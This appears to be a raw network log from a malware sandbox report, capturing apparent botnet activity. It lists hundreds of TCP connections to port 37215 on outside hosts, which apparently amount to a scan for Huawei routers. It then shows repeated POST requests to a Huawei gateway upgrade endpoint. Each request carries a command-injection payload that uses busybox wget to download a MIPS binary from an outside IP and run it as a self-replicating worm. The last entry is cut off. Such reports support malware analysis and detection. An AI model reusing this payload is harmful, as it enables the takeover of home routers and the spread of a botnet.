Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.238.59.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.62.113.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.26.244.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.139.91.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.18.65.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.73.112.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.175.229.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.12.41.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.27.73.82:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.49.180.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.39.251.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.125.54.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.109.35.82:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.207.113.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.170.145.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.116.241.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.127.182.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.223.160.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.35.116.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.175.244.154:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.51.182.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.81.24.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.58.211.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.217.204.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.11.13.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.80.29.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.237.166.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.23.101.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.4.200.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.49.217.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.43.124.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.190.134.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.166.96.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.102.60.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.14.187.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.178.162.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.112.131.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.248.10.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.115.191.118:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.224.96.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.145.143.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.85.30.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.46.152.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.166.203.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.74.82.153:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.172.223.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.1.157.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.119.204.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.27.32.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.237.17.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.0.100.44:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.81.16.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.70.189.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.110.33.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.101.61.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.86.16.145:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.253.155.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.168.219.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.39.23.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.63.60.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:43438 -> 104.248.138.112:59666
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.38.202.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.92.121.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.74.177.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.9.40.20:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.139.242.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.79.70.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.125.77.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.141.126.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.8.21.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.252.98.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.229.225.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.25.197.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.23.80.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.69.201.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.126.71.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.245.238.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.50.233.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.94.99.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.219.56.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.159.170.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.4.22.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.216.177.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.182.11.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.71.123.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.126.46.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.83.248.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.56.156.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.168.14.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.249.108.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.73.152.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.255.117.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.70.42.11:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.50.163.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.118.210.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.67.144.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.67.187.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.37.225.175:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.73.38.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.122.12.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.154.235.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.21.78.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.175.202.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.111.104.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.183.144.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.59.18.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.158.130.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.12.226.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.81.244.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.13.250.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.196.52.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.40.212.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.52.53.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.70.129.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.195.226.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.200.233.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.125.63.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.140.106.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.106.25.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.138.213.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.197.94.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.180.165.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.25.85.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.172.171.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.209.142.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.223.103.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.164.113.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.181.23.80:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.55.41.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.253.131.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.2.222.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.148.113.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.97.174.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.178.3.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.192.88.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.121.238.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.166.195.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.97.99.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.84.238.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.64.144.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.49.82.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.88.67.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.208.204.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.108.120.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.50.182.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.223.179.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.71.87.53:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.99.133.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.58.244.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.87.87.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.7.0.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.206.52.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.108.132.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.128.76.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.121.238.53:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.241.150.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.241.14.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.250.240.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.14.180.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.167.99.182:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.65.251.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.74.138.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.196.34.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.164.109.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.6.196.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.94.109.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.180.167.207:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.247.93.118:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.178.183.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.61.239.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.60.250.246:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.112.155.153:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.182.245.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.65.209.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.31.217.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.149.116.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.10.43.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.112.26.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.62.170.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.228.231.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.44.10.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.139.181.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.45.77.188:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.148.90.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.101.22.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.160.165.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.215.65.118:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.184.207.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.203.88.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.120.130.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.24.143.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.234.190.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.57.131.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.1.120.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.18.238.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.61.70.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.190.3.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.137.209.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.20.48.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.250.229.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.17.201.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.15.55.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.238.188.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.37.190.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.241.227.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.72.170.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.224.250.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.1.33.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.186.157.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.101.92.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.70.192.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.21.174.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.40.81.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.100.189.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.180.6.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.51.161.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.182.159.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.124.53.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.159.117.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.17.243.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.99.27.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.112.252.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.113.20.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.157.54.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.86.150.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.163.167.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.252.168.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.29.50.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.170.180.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.115.96.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.131.195.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.95.148.0:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.127.218.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.214.56.246:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.75.97.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.123.38.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.117.221.207:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.253.18.44:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.129.29.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.37.152.46:37215

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: 